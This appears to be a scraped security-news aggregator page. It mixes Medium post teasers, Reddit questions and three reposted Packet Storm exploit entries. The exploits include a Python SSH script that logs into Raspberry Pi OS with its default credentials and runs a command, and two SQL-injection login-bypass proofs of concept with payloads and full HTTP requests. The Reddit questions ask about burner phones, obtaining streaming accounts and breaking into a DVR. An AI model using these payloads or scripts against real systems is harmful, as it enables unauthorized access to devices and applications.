Hacking on Medium
A Quick Guide to Hack private variables in Solidity

https://cdn-images-1.medium.com/max/1212/1*MxCMmnrJPFHEvRPtvUJFOw.png
For shorter interesting content, follow on twitter: https://twitter.com/polipic1

Continue reading on Medium »

Hacking on Medium
ProtoBuffer ReUtilization “New Way to Security Test GoogleCaptcha”

https://cdn-images-1.medium.com/max/835/1*mm2w_Qthx2HZAFpQBKSfvQ.png
Captcha defeated through new method I’ve found, public exploit and PoC here.

Continue reading on Medium »

Hacking on Medium
Hackathony, czyli programowanie non stop. Braliście udział?

https://cdn-images-1.medium.com/max/1124/0*EERa_ImRltIfVKue
Braliście udział w hackathonach? Ponoć świetna, programistyczna impreza.

Continue reading on Medium »

Deep Web
The Top Dark Web Trends in 2021

https://external-preview.redd.it/pnxbI4kQksDH7SwYPcn-RyzTd6--tK74DiAc5sgJNnU.jpg?width=640&crop=smart&auto=webp&s=324ec573f56e61085e0d3573207868f09219c518 submitted by /u/rangeva
[link] [comments]

ProtoBuffer ReUtilization “New Way to Security Test GoogleCaptcha”
https://medium.com/@Cho0k/protobuffer-reutilization-new-way-to-security-test-googlecaptcha-b3e0fc6cf7c4?source=rss------bug_bounty-5

Captcha defeated through new method I’ve found, public exploit and PoC here.Continue reading on Medium » (https://medium.com/@Cho0k/protobuffer-reutilization-new-way-to-security-test-googlecaptcha-b3e0fc6cf7c4?source=rss------bug_bounty-5)

hacking: security in practice
What makes a phone an untraceable burner?

Title. I've seen the idea mentioned in a couple of TV shows but never thought of it, till now - what criterion is needed to make a phone untraceable? Could anyone make one easily?

submitted by /u/BioFrosted
[link] [comments]

hacking: security in practice
click here

hello, so i have 1 question, how do i get accounts like spoify,dezzer,Netflix etc?

submitted by /u/Xzoyo-Senpai
[link] [comments]

hacking: security in practice
is there a way to gain access to the main menu of a dvr?

IT guy is not responding and it requires a password. username is set as admin

submitted by /u/no-it-is-necessary
[link] [comments]

Exploit Collector
Raspberry Pi 5.10 Default Credentials

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
Raspberry Pi version 5.10 has default credentials of pi/raspberry. This has been a known standard of theirs for a long time but it has been formally given a CVE.

MD5 | d93ec1f954595b314818e65b203e583c

Download
# Exploit Title: Raspberry Pi 5.10 - Default Credentials
# Date: 08/12/2021
# Exploit Author: netspooky
# Vendor Homepage: https://www.raspberrypi.com/
# Software Link: https://www.raspberrypi.com/software/operating-systems/
# Version: Raspberry Pi OS <=
# Tested on: Raspberry Pi OS 5.10
# CVE : CVE-2021-38759

# Initial Release: https://twitter.com/netspooky/status/1468603668266209280

# Run: $ python3 exploit.py IP

import paramiko

import sys

h=sys.argv[1]

u="pi"

p="raspberry"

c=paramiko.client.SSHClient()

c.set_missing_host_key_policy(paramiko.AutoAddPolicy())

c.connect(h,username=u,password=p)

i,o,e=c.exec_command("id")

print(o.read())

c.close()


Source:packetstormsecurity.com

Exploit Collector
Employees Daily Task Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
Employees Daily Task Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | dc63668edab1dc7baf530ffbbb4e5ba0

Download
# Exploit Title: Employees Daily Task Management System 1.0 - 'username' SQLi Authentication Bypass
# Exploit Author: able403
# Date: 08/12/2021
# Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip
# Version: 1.0
# Tested on: windows 10
# Vulnerable page: Actions.php
# VUlnerable parameters: "username"

Technical description:

An SQL Injection vulnerability exists in theEmployees Daily Task Management System admin login form which can allow an attacker to bypass authentication.

Steps to exploit:

1) Navigate to http://localhost/login.php

2) Insert your payload in the user or password field

3) Click login

Proof of concept (Poc):

The following payload will allow you to bypass the authentication mechanism of the Engineers Online Portal login form -

123'+or+1=1+--+-
---
POST /Actions.php?a=employee_login HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 43

Origin: http://edtms.com

Connection: close

Referer: http://edtms.com/login.php

Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl
email=admin'+or+1=1+--+-&password=123123213
response
HTTP/1.1 200 OK

Date: Wed, 10 Nov 2021 02:23:38 GMT

Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02

X-Powered-By: PHP/8.0.2

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 48
{"status":"success","msg":"Login successfully."}
---

Source:packetstormsecurity.com

Exploit Collector
Kabir Alhasan Student Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-qWHV3SrNBkU/WWlu99WsXjI/AAAAAAAAIJ4/a1ff3k5st1g65kjfNuwTJpgcbLEB4bHEACLcBGAs/s1600/h116.png
Kabir Alhasan Student Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 380cb8cbd93f5ec166d4924702670db5

Download
# Exploit Title: Student Management System 1.0 - SQLi Authentication Bypass
# Date: 2020-07-06
# Exploit Author: Enes Özeser
# Vendor Homepage: https://www.sourcecodester.com/php/14268/student-management-system.html
# Version: 1.0
# Tested on: Windows & WampServer
# CVE: CVE-2020-23935

1- Go to following url. >> http://(HOST)/admin/login.php
2- We can login succesfully with SQL bypass method.

-- Username = admin'#
-- Password = (Write Something)

NOTE: Default username and password is admin:admin.

(( HTTP Request ))

POST /process.php HTTP/1.1
Host: (HOST)
Connection: keep-alive
Content-Length: 51
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://(HOST)/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://(HOST)/index.php?q=login
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: navigate-tinymce-scroll=%7B%7D; navigate-language=en; PHPSESSID=1asdsd3lf9u2d7e82on6rjl

U_USERNAME=admin'#&U_PASS=123123&sidebarLogin=

Source:packetstormsecurity.com